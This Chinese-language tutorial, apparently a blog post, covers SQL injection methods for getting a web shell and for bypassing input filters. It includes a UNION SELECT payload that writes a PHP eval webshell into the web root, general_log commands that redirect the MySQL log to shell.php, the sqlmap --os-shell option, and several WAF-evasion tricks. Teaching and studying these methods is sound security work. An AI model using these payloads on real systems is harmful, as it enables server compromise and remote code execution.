SQL注入基础-4

GetSHELL

一、文件读写注入

1、原理:利用文件读写权限进行注入,可以写入一句话木马,也可以读取系统文件的敏感信息。

2、要求和条件:用户最高权限(可以尝试更改secure_file_priv)和网站绝对路径

3、网站的绝对路径

(1)常见路径

windows:

  • phpstudy phpstudy_pro/www
  • Xampp xampp/htdocs
  • appser appser/www

linux:

  • /var/www/
  • /var/msyql/data

(2)路径获取方式:报错显示,遗留文件,配置文件等

4、函数into outfile/into dumpfile:https://www.cnblogs.com/zztac/p/11371149.html

5、联合查询写入:-1' union select 1,2,'<?php eval($_POST\\'pass\\'); ?>' into outfile 'D:\\phpstudy_pro\\WWW\\shell.php';

二、日志getshell

1、条件:global general_log = on;和知道绝对路径

2、条件式可以通过堆叠注入改动

  • show variables like '%general%'; #查看
  • set global general_log = on; #开启日志
  • set global general_log_file = 'D:\\phpstudy_pro\\WWW\\shell.php'; #设置日志路径

3、执行select '<?php @_POST'cmd'?>'就可以在日志文件里

三、--os-shell参数

1、使用sqlmap去跑。前提有SQL注入漏洞

2、条件:secure_file_priv没有具体值和知道网站的绝对路径

绕过

一、等号被过滤

1、使用算术运算符【< > <> 】

注:<>为不等于,相当于!=

2、使用like,rlike,regexp语句

注:like结合通配符(%,_)使用。rlike,regexp结合正则使用

3、使用in,between语句

二、截取函数substr,mid被过滤

1、使用locate函数

locate(str1,str2):返回str1在str2第一次出现的位置,没有返回0

locate(str1,str2,pos):pos为起始位置。如果一个字符在字符串中出现两次,pos必须大于第一次出现的位置。

2、使用position函数

position(str1 in str2):返回str1在str2出现的位置,没有返回0。str1为str2的子字符串

3、使用instr函数

instr(str1,str2):返回str2在str1出现的位置,没有返回0。str2为str1的子字符串

4、lpad和rpad函数:用于在字符串前面或后面添加特定字符的函数

lpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在前面添加特定字符。

rpad(str,num,'特定字符'):str为字符串,num为数字。str不够num数量时在后面添加特定字符。

三、逗号被过滤

1、将逗号进行URL编码成%2C

2、使用from xx for xx,from xx

如select substr(database()from 1 for 1)='s'

四、and/or被过滤

1、使用&&、||

注:在oracle数据库中,||为拼接字符。

2、like,需要与函数使用

五、其他绕过

1、大小写绕过

2、双写绕过

3、注释符绕过://,--,/**/,/*!12345*/

4、编码绕过

相关推荐
IvorySQL1 小时前
PG 日报|修复高 IO 并发场景,解决预读机制耗尽本地缓冲区缺陷
数据库·人工智能·sql·postgresql·区块链
●VON1 小时前
鸿蒙 PC Markdown 编辑器自由窗口:覆盖侧栏与响应式预算
安全·华为·编辑器·harmonyos·鸿蒙
qq_150841992 小时前
SQL的insert和update二合一指令
java·数据库·sql
●VON3 小时前
鸿蒙 PC Markdown 编辑器有界版本历史:沙箱快照、完整性校验与安全恢复
安全·华为·编辑器·harmonyos·鸿蒙
7177773 小时前
Gitee DevOps 国产化研运能力解析:安全与研发效能双维度升级
安全·gitee·devops
宸津-代码粉碎机4 小时前
SQL 深度精讲|IN 与 NOT IN 用法、底层原理、NULL 致命坑、性能优化(实战干货)
大数据·数据库·sql·spring·搜索引擎·性能优化
treesforest4 小时前
公开IP属地后我们应该如何保护自身网络安全?
tcp/ip·安全·web安全·ip属地·查ip归属地
Sagittarius_A*4 小时前
Web 安全之 Git 泄露:原理剖析 + CTFHub Log/Stash/Index 全题型解法
git·安全·web安全
Coremail邮件安全5 小时前
2026邮件安全态势观察:AI正在把漏洞利用窗口从“天”压缩到“分钟”
人工智能·安全
西安景驰电子6 小时前
PTP IEEE1588 时钟服务器详解
运维·服务器·网络·数据库·windows·安全